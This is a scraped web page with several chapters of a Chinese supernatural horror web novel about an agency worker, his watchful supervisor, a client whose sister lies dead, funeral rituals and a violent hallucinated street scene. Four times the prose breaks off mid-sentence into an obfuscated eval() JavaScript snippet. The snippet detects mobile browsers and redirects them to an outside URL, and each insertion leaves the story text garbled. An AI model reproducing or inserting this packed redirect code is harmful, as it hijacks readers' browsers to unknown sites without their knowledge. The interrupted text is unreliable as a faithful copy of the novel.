d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466827|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出点什么自己想听的话来,聚精会神盯着他,果然,看见他睫毛颤了颤,像一只被雨水打湿翅膀的蝴蝶:“香火厂是我的容身之所,我还是很珍惜这个地方的。” 香火有那么一瞬间感觉自己高兴得快要晕过去了,不由自主咧开嘴笑道:“好说。” 他打开抽屉翻了翻,翻到了两个包,一个里面装着窃听器和监控器,另外一个,是两只戒指,在电子仪器和戒指之间,他选了戒指。 拆开包装,他把那只戒指拿了出来,把拉开的抽屉推回去,绕开桌子走到了明林身边,笑眯眯摊开手,两只戒指正在他手心里。 明林垂眼,看着那两只戒指,戒指中间是用不知什么材质的矿石做的日月,边上镶着细碎的小白钻,看起来亮闪闪的。 “这个圆圆的,黄色的是太阳,”香火看他看得认真,笑眯眯指着手里的戒指,给他解释说,“这个弯弯的,蓝色的是月亮。” “我看得出来,”明林面色平静点了点头,看了一眼戒指,又看向香火问,“这是,特殊物品?” “是的,”香火点了点头,把手收了回去,捏着其中一个戒指看了看,坐在桌子上,面对着窗户,背对着他说,“好处是可以随时监听监控对方的情况,坏处是,性格会短暂发生变化。” “只是短暂吗?”明林微微挑了挑眉,他或许不了解戒指,但他比香火想象中,要更加了解特殊物品。 这些东西或许有好处,但没有一个是没有坏处的,离火精神病院研究的就是这个,明林待在里面的时候,可没少接触这些。 “在戴上的时候,”香火从桌子上转过身来,一脸微笑对他说,“性格一定会发生变化,取下来的时候就会恢复正常,但如果戴的时间太长,那取下来之后,也不一定能恢复了。” 他说着,把太阳戒指戴在自己的手指上,展示给明林看了看,明林看了一眼戒指,他就把手收了回去,站了起来。 明林看了他一眼,就觉得头皮发麻,往后退了两步,他现在太像个正人君子了,冷着脸,有一种随时可以从口袋里掏出手铐把人当罪犯控制起来的样子。 “戴上试试?”香火把手里剩下的那只月亮戒指递给他,面上微微笑了一下,但看起来不像是表示友好,更像是威胁。 明林往后退了两步,不是很想现在去接那个东西,一时间不由自主想起离火精神病院里的事情,有些恍惚,又往回后退了两步。 “怎么?”香火拿着那只戒指向他靠近,像提着斧头靠近猎物的雨夜屠夫,目不转睛盯着他,一步一步问:“你害怕我?” 明林回过神说:“也不是一定要用戒指吧?不是有电子仪器吗?” “电子仪器对顾客很冒犯,”香火面无表情说,“没发现,还好,被发现了,会影响香火厂的声誉。你,作为香火厂的员工,应该为香火厂考虑。” 9. 第 9 章 香火走到了明林面前,拉起他的手,把戒指推了上去。 明林呆呆看着戒指,香火用一种观察实验品的目光,注视着他,一脸严肃问:“怎么样?” 明林切了一声把手收回去,靠在旁边的墙上,好像没骨头似的,似笑非笑说:“还能怎么样?你睁着眼睛看呢?” “你说话怎么这么,”香火缓缓皱起眉头,欲言又止,上下打量了他,有些不解,“古怪呢?” “这就古怪了?那你见少了。”明林看着手上的戒指转了转,走回桌边,拿起平板电脑,头也不回问:“我可以走了吗?” “你拿平板干什么?”香火有些犹豫着问。 “接任务,”明林把平板放回去,转身靠着桌子,歪头看着他,忽然笑了起来问,“要经过你的允许吗?” “那倒不用,”香火眉毛轻轻挑了挑,面色平静说,“只是理论上,还是应该问一问我的。毕竟,我好歹是你的监管者。” “那你可以另外挑一个人来做我的监管者。”明林呵呵笑着拍了拍他的肩膀,一手推开了门,转身往外走去。 “你就这么走了?”香火愣了一下,一把抓住明林的手腕,表情甚至有些诧异问。 “那你要我和你在这待到什么时候?”明林把他的手甩开,皱着眉头,啧啧揉了揉手腕,莫名带点挑衅和不屑:“总不能让顾客等吧?是你自己说,要在乎香火厂的名誉,现在又不作数了?” 平板电脑忽然响了一声,像是有什么消息发过来了。 香火看了明林一眼,转过身去,拿起电脑查看情况,看完之后,又抬眼看了明林:“你和顾客私联了?” “没有,”明林打开手机,看了看,“怎么?” “顾客,”香火似笑非笑说,“点名要求你去。” “或许,顾客看我面孔新鲜,价格便宜,”明林耸了耸肩,“又或者,从别人那里听说了我的事,就是喜欢我呢?” 香火实在没忍住,笑了一下:“喜欢你?” “不能喜欢我?”明林歪头看着他,他一时没有回答。 明林忽然抬手丢了一个东西过去,香火转头,侧过脸去,眼睁睁看见那东西从面前飞过,一道银色流光。 他定睛一看,原来是自己家的餐刀,把刀拿在手里,看向明林问:“你就这么,想杀我?” “这不是跟你开玩笑吗?”明林笑嘻嘻摊开手问:“你不喜欢?那真是太难办了!这也不喜欢,那也不喜欢,我能怎么办?” 香火把抽屉打开,把刀放进去,转头一看,明林已经走了,门是开着的,还能听见明林在走廊上的脚步声,和很轻的好像从很远的地方飘来的歌声:“一闪一闪亮晶晶……” 香火无可奈何,摇了摇头,把平板电脑放回原处,跟着出了门。 咚咚咚。 栗子色的门打开了,暗色的阴影里露出一双警惕的眼睛,往外打量了一番,落在面前的人的脸上,一种审视的目光,更显得那双眼睛黑白分明,甚至像一面镜子。 明林站在门口微笑:“您好,我的公司在网上提前和您联系过,应该打了招呼,我是来处理事情的。” “那你先进来吧。”门里的那双眼睛把他看了看,缓缓打开了门,站在门后面,对他发出了邀请。 “谢谢。”明林点了点头,走了进去,门口是一只巨大的原木色鞋柜,他进了门之后,开门的人就把门关上了,打开了鞋柜,取出了一双拖鞋递给他。 “谢谢。”他低着头,看着鞋子和主人说。 柳木蹲在地上,抬起头来,对他露出一个温和的微笑,像任何一个尽可能想要热情招待客人的主人一样:“不用客气。” 明林这个时候才仔细打量柳木,苍白的脸色,又粗又大的圆形黑框眼镜,模模糊糊的镜片后面,一双不知是早有预料还是慢了半拍的狐狸眼,有点呆呆的神色,脖子上还有一只白耳机。 “我的脸上有什么吗?”柳木眨了眨眼睛,站起身来问。 “没有,”明林垂下眼去换了鞋,“请问,需要我做什么?” “我觉得这房子有鬼,”柳木站在旁边看着他,慢吞吞抬手推了推自己的眼镜,一脸认真说,“而且不止这间房子。” “你的意思是说?”明林看着他问。 “我觉得有鬼在跟着我,”柳木一边回忆一边思索说,“房子的温度比外面低二到三度,房间里的温度比外面低三到五度。” 他说着掏出一个本子来,一边翻,一边又不知哪里掏出一支笔:“已经不止一天是这样,一开始我以为只是错觉,后来发现不是。” “只是温度吗?”明林挑了挑眉:“也许这是正常情况,房间毕竟没有太阳直射,温度比室外低一点,不一定是有什么。” “你说的对,”柳木一脸认同,点了点头,把本子和笔往旁边一放,对明林招了招手,“但是你先跟我来,我有东西要给你看。” 他一边走一边说:“等你看了东西,或许你会改变主意。” 明林点了点头,跟在他身后,发现他走路蹑手蹑脚的,像一只沙漠里的猫,不由自主跟着放轻了脚步。 柳木走到卧室门口,深吸了一口气,把手放在门把手上,转过头来,对他一脸严肃说:“你做好准备,我要开门了。” 明林虽然不知道房间里有什么,但还是点了点头。 柳木眨眼间把门打开,随后目不转睛注视着他,他抬眼往里一看,看见房间正中央吊着一个人,眨了眨眼睛,有一点疑惑。 他有那么一瞬间怀疑自己看错了,但是一想到开门之前柳木对他说的话,就知道自己其实并没有看错,试图揉眼睛的手,抬起来又放了回去。 “这是?”他迟疑着转头看向柳木问。 “这是我妹妹,”柳木耸了耸肩,仍然是刚开门时的那副有点呆呆的表情,“不知道怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466828|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么就死了,人死之前一切正常,死了之后房子才降温,所以我觉得有鬼。” “这家里还有其他人吗?”明林把尸体看了看,这东西看起来已经挂了两三天了,房间里一点其他人进入的痕迹都没有。 从这方面来说,房间保存得非常干净。 “没有,”柳木停顿了一下,像是忽然意识到他在问什么,轻轻推了推自己的眼镜,微笑了一下,仿佛是在回答一个忽然拦住自己的差生拿出来的试卷上的难题,平静中带点温和,“本来还有两个人的,但是那两个人出国旅游,坐飞机,飞机失事了,他们就失踪了,这样那样的公司赔了一笔钱,他们到现在也没回来。” 柳木,原名知更鸟,因为曾经在离火精神病院见过明林,怀疑明林是代表离火精神病院,隐藏在香火厂里,准备干一票大的。 所以他特意发消息,让香火厂把明林派过来处理自己的事,想要看看,明林究竟是个什么样的情况。 如今看来却更觉得诡异了,明林和他从前见过的样子不太一样,不是外表的差距,是性格上的变化,有一种微妙的灵魂和身体不匹配的感觉,但又仿佛人还是那个人。 以至于,柳木看着就站在面前的明林,都有些糊涂了。 “你还想知道什么?”柳木看着他问。 明林想了想:“除了温度下降,还有什么别的吗?其实如果只是这种事,把空调温度调高一点就好。” “可是,开空调要多交电费的,有没有便宜一点的办法?”柳木推了推眼镜,眼巴巴望着他,露出一种像小比格一样的表情。 “那你就把门窗关紧一点,”明林不为所动,微笑着说,“这个不要钱。” 柳木感觉自己被哽了,眨巴着眼睛转移目光说:“可是这样也很麻烦,而且治标不治本,我还是希望一劳永逸,你能帮我吗?” “既然如此,”明林想了想,抬了抬下巴说,“我就留下来吧。” “谢谢。”柳木笑了笑。 “不用客气,”明林摆了摆手,“你付了钱,这是我应该做的。” “我付的那些钱,”柳木忽然有点犹豫,因为他记得离火精神病院虽然不干人事,但钱还是挺多的,而且就是因为干的不是正儿八经的事,才能有那么多钱,越能干活,钱越多,明林待在那种地方,不该缺钱才对,“是不是少了点?” “不少了,”明林摇了摇头,“你不用担心这个。” “那你觉得这里,有什么需要处理的吗?”柳木试探着问。 “先让随便什么人来把尸体收走吧,”明林看了一眼房间说,“再放下去就坏了,要是有鬼,那就更不好了。” “你说的对,”柳木点了点头,掏出电话,“我这就通知火葬场的人来。” 打完电话之后,他把明林请到客厅沙发上坐下,倒了一杯水问:“你看,这房子,有什么可改的吗?要不,再做点什么呢?我听说——” 10. 第 10 章 柳木露出一副有难言之隐的样子。 “听说什么?”明林问他。 “我听说死了人的地方,如果有鬼,一般情况下,主人家会邀请懂行的人来家里面,驱邪念经,顺便送鬼魂入轮回,”柳木坐在对面麻花似的扭了扭,低着头问,“你能在我家,给我念念往生经吗?地藏菩萨本愿经也行。” “也行,”明林犹豫着答应下来,“那我现在开始布置,还是等火葬场的人来把尸体收走之后呢?” “等他们把尸体收了再开始布置吧,”柳木抬起头来,推了推那个黑色眼镜,隔着厚厚的镜片,注视着他,微笑着说,“别让他们打扰了仪式。” “好。”明林点了点头。 尸体被火葬场的人来收走之后,他们顺便推荐了一个清洁公司,表示这个公司很擅长清理尸体留下的各种痕迹,如果他们有需要,可以直接打电话。 柳木看了一眼时间:“今天有点晚了,等他们来的时候,可能天已经黑了,他们会在夜间工作吗?” “他们是二十四小时营业的,”火葬场的员工微笑着说,“只不过晚上确实不比白天方便,如果发出噪音影响到邻居可能会被投诉,所以如果,客人不着急,可以等到白天再打电话。” 他顿了顿,往周围看了看,又说:“其实,晚上工作也没什么,邻居应该不会投诉的,看在这可怜的尸体的份上,谁能忍受和没有清理过的尸体待过的房间住在一起呢?” “也许他们会要求我去住旅馆。”柳木耸了耸肩,既不在乎尸体,也不想在乎邻居,脸上仍然是那副呆呆的好像下一刻就要睡着的困倦表情。 “那我们就没办法了。”火葬场的员工低下头说。 “那再见,”柳木对他们挥了挥手,“快把尸体带走吧,我不想继续闻到这个味道了。”他说着,捂了捂自己的鼻子。 尸臭味确实,自从尸体被从房间里拖出来之后,就浓郁了很多,闻起来好像尸体在移动过程中突然加速腐烂了一样。 “好的,”火葬场的员工点了点头,“再见。” 他们打完招呼,就带着尸体上了车,很快不见了,门口空了下来,但之前那种尸臭味,仍然十分浓郁,在夜风中久久不散。 柳木站在门口,转过身,看向明林问:“现在去买东西,还是先休息呢?” 明林看了一眼时间,并不觉得现在是休息的时候:“还是先去买东西吧。”他即将进行的仪式,确实需要一些东西来辅助。 至于,辅助的究竟是灵魂转世,还是对客人的心理安慰,他就不清楚了。到时候看情况吧。 “那我跟你一起去吧,”柳木说着回头拿了自己的包,又换了鞋子走出来,“我知道附近哪条街卖东西,我还可以顺便付钱。” 明林本来打算拒绝的,听他这么一说,就答应下来:“走吧。” 买了东西,回到家里,柳木犹豫着问:“我可以开着门和窗户吗?感觉屋子里的气味还是有一点浓,如果之后还是这样,恐怕很难睡着。” 听起来他并不想换住处,明林点了点头:“好的。”开门和窗户应该并不会影响仪式,他只要在进行过程中,小心一点风就好了。 只要没有风突然吹过来,把东西吹得乱乱的,把火焰都熄灭掉,那仪式应该可以正常进行,他很确定自己不会大声诵经。 柳木就把窗户都打开,搬了个凳子坐在门口,看着明林在大口袋里,一一找出要用的东西,摆在了刚刚清理的空地上。 “需要我再把附近的东西收一下吗?”柳木不知什么时候抱了一个平板电脑在怀里,推了推眼镜,歪着头问。 那个电脑正好在开机,一片蓝光映照在他的眼镜上,使他的眼睛在镜片背后模糊不清,像一汪波涛汹涌的深邃的海。 “不用了。”明林摇了摇头,在地上铺开纸张,摆好蜡烛,一一点燃,放好香炉,把香插了进去,客厅里顿时升起了缭绕的白烟。 柳木隔着缭绕的白烟注视着明林,新建了一个文件夹,修改名称为:观察日志,点开了,里面是一片空白。 他开始敲击键盘:他的外表看起来没有太大变化,但性格有点诡异,我很确定他从前没有这么热情,不过,也许只是我不了解他。 柳木抬起头来看了一眼明林,明林护着手心里跳动的火焰,并没注意他,他又低下头去:有待观察。 明林瞥了他一眼,他抬起头来微笑了一下,推了推自己的眼镜,好像眼镜片上跳动的两块蓝色光才是他的本体,注视明林问:“怎么?” 暗沉沉的房间里,夜色像浓雾一样弥漫开来,发黑的铜盆里,燃烧的火焰一点一点将粗糙的黄纸吞噬。 惨白的蜡烛和细长的香,像是泥浆般的沼泽里,安静的蜘蛛的花纹,一碗冒尖的生白米,还有一双直直插进米里的筷子,像是腐烂的生鱼里挖出来的眼珠。 房间里那种尸体腐败的气味渐渐消失了,取而代之的,是燃烧的黄纸的气味和香烛浓雾的气味。 这些东西闻起来,有一股令人昏沉沉的香气,好像不知不觉间,浑身上下都已经被鱼线绑住,如同蜘蛛的猎物一般,深深陷入网中,连挣扎也没有。 明林若有所思,注视着柳木:“你在写什么呢?” “一些账目。”柳木微笑着回答。 “时间有点晚了,”明林试探着问,“你要不要先休息?” “好啊。”柳木关掉了笔记本电脑,站起身来问:“需要我把门也关上吗?我想,只开着窗户,也足够了,我们不会因为窒息死掉的。” “随便你。”明林看着他关了背后的门问:“需要我一整晚都在这儿念经吗?” “那倒不用,”柳木很确定让人一晚上不睡觉一直念经是一种折磨,“我相信你足够虔诚,只要这里有灵魂,就会被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466829|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感动的,如果你愿意,你可以早点休息,明天起来之后再念。” 七天后,明林看着已经换了好几批的蜡烛,一只一只点燃。 柳木看了一眼天空,黄昏时分的天总是分外美丽,他又多看了一眼,才慢吞吞转过身来,坐在阳台旁边,一只手撑着下巴,望着明林说:“我觉得只念往生经,实在太单调了,你要不要再搞一点别的回来?” “好啊,”整整念了七天的往生经,明林也觉得,就算只是为了超度鬼魂,也有些缺少诚意,哪怕他并不觉得这里有鬼,“那我今天回去问一问?” “需要我送你吗?”柳木看着他问:“我有一辆车,也许你愿意试一试?” “不用了,”明林摆手说,“我可以自己回去。”他并不觉得把客人带到老板的办公室去是一种美德,那更像是挑衅,或者失败的预告。 为了避免被投诉,这种事还是算了吧。 柳木确认自己没办法更接近他,点了点头:“那你要早点回来。” “好。”明林点了点头。 十字路口,红绿灯闪烁着,仿佛有什么事情即将发生,鲜红的倒计时,一个数接一个数跳动着,像某人被挖出的即将死去而不肯放弃的心脏。 明林站在路口,等待着绿灯,但他的直觉告诉他,他恐怕等不到了,他往周围看了看,周围一切如常。 他把手伸进衣兜里,摸到了白色药瓶,拿出来拧开,往外倒出了两颗咖啡豆,他吞掉了这两颗咖啡豆,等他再抬起头来的时候,天上轰隆一声巨响,瞬息间下了一场大雨。 身边黑色的红绿灯杆突然拔地而起,又弯下腰来,发出哎呀哎呀的呻吟声,表面的油漆和铁皮皱了起来,一块一块掉下来,鲜血从路灯灯杆的破损处流了出来。 对面的红绿灯发出了嘻嘻哈哈的笑声,五颜六色的气球冒了出来,又被雨水打破,缓缓降落。 每一颗破掉的气球里,都冒出了一个人头,面部模糊不清,头发稀疏凌乱,血液从断口处流出来,融入雨水,流进了下水道,大雨里弥漫起了浓重的血腥味。 一个头发稀疏的,弯着腰的老太太,穿着湿漉漉的布鞋走了过来,伸出手说:“求求你救救我吧,求求你救救我吧。” “什么事?”明林看着老太太问。 “我的村子被感染了,”老太太捂着脸哭泣说,“我的孙子,病得快要死掉了,村子里的其他人,也都起不来了,浑身上下长满了脓包,可怎么办呢?可怎么办呢?” 老太太呜呜哭着,斑马线对面的红绿灯旁边,本来等待着过马路的路人,突然撕扯起衣服来,接触雨水的皮肤迅速长起了脓包。 他们四肢着地,向着这边爬了过来,一边哭一边喊:“怎么办呢?怎么办呢?好痛啊!好痛啊!” “有一个办法,”明林面色平静,目光怜悯,看着老太太说,“只是不知道你愿不愿意了。” 11. 第 11 章 “什么办法?”老太太抬起头来,眼巴巴看着明林说:“只要能救我孙子,我都愿意试一试,求求你告诉我吧,什么办法都可以!” 明林注视着那张满是脓包的脸,点了点头:“我明白了。”他从口袋里掏出刀来,捅进了老太太的脖子。 老太太愣了一下,伤口处没有血,只有粘稠的黄绿色的脓液,瘦小的老太太的身体,疯狂挣扎起来:“你这是做什么?” 明林一只手按着老太太的头,一只手紧握着刀,割断了老太太的脖子,把老太太的头拔了下来,看着老太太的身体倒下去,回答道:“做刚才答应你的事,救你的孙子,如果你真有一个孙子。” 老太太瞪大眼睛,疯狂抽搐的身体忽然定格,一瞬间,在湿漉漉的地面上化为了脓血,瓢泼大雨紧跟着停了下来。 浓重的乌云眨眼间被金灿灿的阳光穿透,像是被长矛穿刺的盾牌,倏忽间分崩离析,炸成碎块,而后像被蒸发一样消失。 天光大亮,在地上乱爬的人们停了下来,忽然恢复了正常,面面相觑,慢慢从地上爬起来,看看自己湿漉漉的手,身上一点一点流下来的黑漆漆的脓液,倒吸一口凉气,有些回不过神。 明林看着自己手上化为浓液的老太太的头,又看了看手上已经被沾染得满是脓包的皮肤,把手揣进兜里,哼着歌,仍然打算继续去找枫叶:“一闪一闪亮晶晶,满天都是小星星……” 香火戴上戒指,听见他唱的歌,莫名觉得他情绪不太对,查了一下定位器,往他的位置赶了过去,在枫叶门口拦住了他。 他正准备敲门,被一把拉住,转过头一看,是香火,想了想,恍然大悟:“不好意思,我忘了,我还在考核,我不能寻求帮助是吧?我还没有见到他,应该不算已经得到帮助吧?我还能继续考核吗?” “我不是为这个来的,”香火愣了一下,叹了一口气,无可奈何把他拉走,摇着头说,“有什么不知道的,你可以问我,考核的事情,已经通过了。” “通过了?”明林感到疑惑:“什么时候的事?我怎么不知道?你告诉过我吗?”他逐渐怀疑起来:“你不会是在骗我吧?这也是考核的一部分吗?这么难吗?” “没有骗你,你参加的只是实习员工转为正式员工的考核,很简单,你在第一天的时候就通过了,”香火把明林带回家推开门,“只是本来打算,在你结束这个任务的时候告诉你的,没想到,顾客把这个任务延得这么长。” “那你拿出证据来,”明林对他伸出好的那只手,“万一你是骗我的呢?”明林嘀嘀咕咕说:“我哥也是这么骗我的。” “这是你的正式员工卡,”香火把早就准备好的东西拍在他手上说,“之前想抽个时间交给你,后来忘了。” 他没忘,他一直在注意,他只是不知道,应该怎么提起这件事比较好。 又或者说,他在暗中默默注视着明林待在顾客的房间里,哪怕只是公事公办,哪怕只是坐在客厅里,对着蜡烛和生米饭念经,他都觉得自己嫉妒得要发疯了。 他恨不得,在明林面前被点燃的香,是他自己。当然他知道那是不可能的,他也知道,他连想也不该这样想。 但知道是一回事,实际上是另外一回事,如果天底下的事情,都只要知道就好,就不会有那么多的错事,更不会有人明知故犯了。 他努力克制自己,把戒指从手上摘下来,希望自己能暂时不要想有那么一个人,也不要想有那么一件事,至于其他的,完全可以以后再谈。 可是他试过了,他能忍耐的时间只有那么一点点,从一分钟到一个小时,最多是八个小时,他一天至少有三次,像是被梦魇一样,不可控制,想到那个人,又想起那件事。 当他终于发现自己不可能放下的时候,反而松了一口气,好像卸下了担子,浑身都轻了起来,做不到就是做不到,无论如何都做不到,逼迫自己是没有用的,还不如顺其自然。 他想,也许得到了想要的东西,就会觉得不过如此,之后,自然有放弃的日子。虽然现在还没到那一天,但万一有那么一天呢? 人总是不能丧失希望的。 明林看着手里的员工卡点了点头:“谢谢。”他把员工卡揣进兜里,转身要走:“既然考核已经结束了,我应该可以去找枫叶了吧?” “等等,”香火刚刚和他见面,还不想和他分开,见他还没在屋里待多久,就要走,一把拉住他,“你去找他干什么?” “我有点事想问,”明林不是很能理解他老是把自己拦着干什么,“他知道的比我多,或许他还能再教给我一些经文的念诵节奏和仪式布置。” “这种事情,我也可以教你,”香火忽然就有点后悔自己把员工卡拿了出来,如果现在还没有拿,就可以说,考核人员不能随意接触监管者以外的其他人,“这很简单。” “是吗?”明林将信将疑看着他:“可是你之前并没提过这些。” “那是因为我有别的事情要做,”香火理直气壮,挺了挺胸说,“我总不能天天围着新入厂的员工转吧?这又不是我的职责。” “那现在这也不是你的职责,”明林更加疑惑起来,“你为什么要替呢?” “我是你的监管者,你的任务还没完成,我当然有义务要负责,”香火说这些话,面不改色,“你要是去找别人,别人岂不是觉得我这个监管者不行?” “好吧,”明林点了点头,勉强相信,“现在就开始吧。” 他说着,又走回了客厅。 香火总算说服了他,松了一口气,立刻把门关上,走到他身边坐下,问他:“你想学点什么呢?” “随便什么经文和仪式都行。”明林脸色不知什么时候惨白起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466830|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但声音依然平稳,眼神恍惚了一瞬,紧接着回答。 香火点了点头,正考虑着要教他一个什么样的比较好,突然动了动鼻子,闻到一股奇怪的味道,转头一看,明林不知什么时候双眼一闭,已经靠在沙发上,好像昏过去了。 香火吓了一跳,连忙把他看了看,发现他有一只手一直揣在兜里,就把这只手抽了出来,发现这只手大半已经化成粘液了,剩下的全是骨头,难为他还能若无其事,一边走一边跟人搭话,扛到现在才昏过去。 也不知道他是真的一无所知,还是演技就有那么好。 香火看着这只手,一时间感到无可奈何,叹了一口气,喃喃自语:“刚见面的时候我就应该发现的。” 等到醒来的时候,明林已经躺在了床上,他直视着天花板,缓了一阵子,回过神来,意识到自己还有事情要做,从床上坐了起来。 起身的时候,他觉得手上有点古怪,把手拿出来,定睛一看,他很确定自己的手被换掉了,因为这不是他本来的那只手的感觉。 香火从门外进来,看见他正在看那只崭新的手,在门口踌躇了一下,明林笑着把那只新的手举起来,问他:“这是怎么回事?” “因为你之前的手烂掉了,”香火低了一低头,随后直视他说,“我给你换了一只新的,你放心,这是用莲花换的,用起来和以前差不多。” “那代价呢?”明林把那只手放在被子上,像是在放一只西伯利亚来的蜘蛛,看了看,抬起头来问。 “或许会吸引一些以莲花为食的生物,”香火回答,“但我想,这对你而言,并不算危险。” 明林闭上眼睛,靠在床头,似笑非笑问:“那我还应该谢谢你?” “这就不用了,”香火一脸正气回答,“助人为乐是应该的。更何况,我现在还是你的监管者,保护你也是保护香火厂的财产。” 明林笑了一声,喃喃道:“我哥也这么说过。” “说过什么?”香火走过去疑惑问。 “没什么。”明林重新躺了回去,十分疲惫的样子,不肯再说了。 他又想起了还在离火精神病院的时候,明明还在他身边,他们仍然可以说是相依为命,虽然别人并不那么认为,但别人和他们又没多大关系,他们也不是那么想在乎。 他哥从实验室拿了最新研发的药剂递给他:“喝吧。” 年轻女人穿着白大褂,两只手插在兜里,胸口还有一支笔,站在门口,注视着他们,像一只人形监视器,目光平静而冷漠,面上甚至因为即将得到实验数据而勾出微微的笑意。 明林看着面前的那一杯黑漆漆的东西,闻到一种极其苦涩的味道,忍不住皱了皱眉,有些怀疑这东西的成分:“这是什么?” “助人为乐是一种美德,”明明把手里的杯子塞给他,“不要再问了,喝吧。” 12. 第 12 章 明林醒来之后,天已经亮了,他在屋子里游荡了一圈,找到了还在休息的香火,香火本来正睡着,察觉到目光注视,猛然一惊,睁开眼睛发现是他,也不知道该不该松一口气。 身体有些僵住了,香火慢吞吞从床上爬起来,坐在松软的床垫上,裹着被子,有一种被突击检查的感觉,睡眼惺忪又暗自带点警惕问:“这么早起来,有什么事吗?” “你昨天不是说好要教我东西的吗?现在开始吧。我还得赶回去呢。不能让顾客觉得,我们没把他放在心上。”明林点了点头,一脸认真,说着就伸出手来,把香火从被子里拽了出来,行动上热情得有点过分了。 香火有点怀疑自己昨天是不是拿错了什么东西,给他下了兴奋剂,不然他怎么这么有力气,被拖下床之后,穿上鞋子站起身来:“好吧,我会教你的,但我觉得,我还是需要先洗漱和吃饭,我不能饿着肚子干活。” “那我给你做吧。”明林撸起袖子对他微笑了一下,推开门转头走了,走路的时候身上哗哗响,香火定睛一看,才发现他往身上挂了许多饰品。 香火就像是一只被逗猫棒吸引了的猫一样,眼睁睁看着明林身上的那些饰品,一步一步就跟着走出了房间。 明林转过身来,微笑着问:“怎么了?不是要去洗漱吗?跟着我干什么?” 香火下意识笑了一下,随后意识到明林现在的状态好像不太正常,目光落在他的手上,看见他现在也没把戒指摘下来,猛然一惊:“我不是说了这个东西不能长时间带着吗?你怎么一直都没取下来?会出问题的!” “既然任务还没有完成,我肯定是要回客户那里去的,等我学了东西我就回去,”明林抬起手来看着手上的戒指说,“如果这个东西不见了,也许顾客会问,虽然考核已经结束,但我想万一你还觉得用得着呢?就没有摘。” “我用不着了,”香火神色复杂,对他摊开手说,“把戒指还给我吧,我看你需要好好清醒清醒。” 明林微笑了一下,把戒指取下来,放在他手心里还给他:“那你拿回去吧,要不要把你的莲花也拿回去?” “你担心少了一个戒指会被顾客发现,”香火握着手里的戒指,大为震惊,“却不担心少了一只手会被顾客发现吗?” 不管怎么想,就是少了一只手,更容易被人发现吧? “横竖要还给你,就把东西都还给你,”明林笑了笑,摊开手说,“难道还一样留一样?” “这有什么不行?”香火一时不知说些什么,沉默了半晌:“我还是喜欢你以前的样子,虽然没那么爱笑,但也不会这么说话。” “可惜了,”明林呵呵笑道,“戒指是你给我的,一时半会儿,我可是变不回去。” 他拍了拍香火的肩膀:“洗漱去吧,我去做饭,我还等着上课呢。” 香火洗漱之后,明林把全麦面包三明治和冰牛奶端了上来,香火看了看食物,有一点惊讶问:“你知道我东西放在哪儿?” “全都看一遍就知道了。”明林微笑着耸了耸肩,又把食物往他面前推了推,催促说:“吃吧。” 香火尝了一口,又尝了一口,忍不住问:“你身上那些东西是怎么来的?我昨天还没看见你戴呢。” “从这里来,”明林对他示意了一下自己新换的那只手,那只手一握一松,一条长长的银链子掉了下来,明林把链子绕在脖子上,当做项链带了,“虽然不知道有什么用,但随便丢掉好像也不太好,就带上了。” 香火若有所思,点了点头。 吃过饭之后,他教了明林一篇新的经文和仪式,明林在他面前演示了一遍,他点了点头,明林就离开了,去找顾客。 顾客正抱着笔记本电脑坐在客厅的沙发上,敲敲打打,看起来很是专注的样子,还戴着耳机,不过,没有戴眼镜。 他把眼镜取下来之后,露出了那双狐狸一样的眼睛,显得整个人都精神了不少,尤其是眼珠转动的时候,看着很聪明。 明林站在门口的时候,他隐约有所察觉,但似乎还是有事,所以,加快速度,在键盘上又敲了几下才停,取下耳机,转过头来一看,发现是明林,一边戴上眼镜,一边露出呆呆的微笑:“你回来了?” 明林点了点头:“今天可以换新的仪式了,经文也是。”虽然他到现在也不觉得这里真有鬼,不过顾客付了钱,愿意干什么就干什么。 “这些天你辛苦了,”柳木推了推眼镜,“正好我有一个顾客,开发了一个新的小岛,送了我几张免费游玩券,包吃包住包车费的,我不爱出门,送给你怎么样?” “这种东西应该蛮贵的吧?”明林犹豫着问:“给我不太好吧?” “没有关系,”柳木摆了摆手,拿起旁边的一个十分精致的小木盒,打开盖子递给明林说,“东西已经送来了,我不去也是可惜,你替我去了,多拍几张照片,也算不辜负我的一番心意。” 